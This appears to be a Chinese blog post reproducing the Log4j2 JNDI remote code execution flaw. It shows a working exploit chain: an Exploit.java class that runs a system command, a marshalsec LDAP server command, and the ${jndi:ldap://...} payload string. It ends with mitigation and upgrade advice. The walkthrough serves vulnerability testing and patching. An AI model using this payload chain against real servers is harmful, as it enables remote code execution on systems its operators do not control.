Administrator
发布于 2021-12-17 / 5 阅读
0
0

Apache Log4j 远程代码执行漏洞复现

### Log4j2简介 Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。 > 受影响版本:2.x <= 2.14.1 ### 漏洞复现 ![image.png](http://file.itmtr.cn/itmtr/image_1639645734949.png) #### 1.创建maven项目,导入Log4j依赖。 ```XML org.apache.logging.log4j log4j-core 2.14.1 ``` #### 2.创建一恶意类Exploit.java ```Java public class Exploit { static { System.err.println("Turn on the calculator!"); try { Runtime.getRuntime().exec("calc"); } catch ( Exception e ) { e.printStackTrace(); } } } ``` > 注意:**Exploit类中除了这些代码不要有其他东西,尤其是`package`和`import`。** #### 3.编译得到Exploit.class ``` javac Exploit.java ``` #### 4.使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务 ``` java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888 ``` 启动成功如下图所示: ![16396464551.jpg](http://file.itmtr.cn/itmtr/1639646455(1)_1639646459640.jpg) #### 5.编写测试类测试 ```Java package cn.itmtr.log4jtest; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4jTestApplication { public static Logger log = LogManager.getLogger(); public static void main(String[] args) { log.error("${jndi:ldap://127.0.0.1:8888/Exploit}"); } } ``` ![image.png](http://file.itmtr.cn/itmtr/image_1639645734949.png) #### 项目地址 [https://gitee.com/itmtr/log4j_test_ldap](https://gitee.com/itmtr/log4j_test_ldap) ### 解决方案 #### 紧急缓解措施: - 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true - 修改配置log4j2.formatMsgNoLookups=True - 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true #### 修复方案: 检查所有使用了 Log4j2 组件的系统,官方修复链接如下: https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 ### 注意 > 本文章仅为复现问题,查看项目中是否存在此问题,不可用作其他,否则后果自负。

评论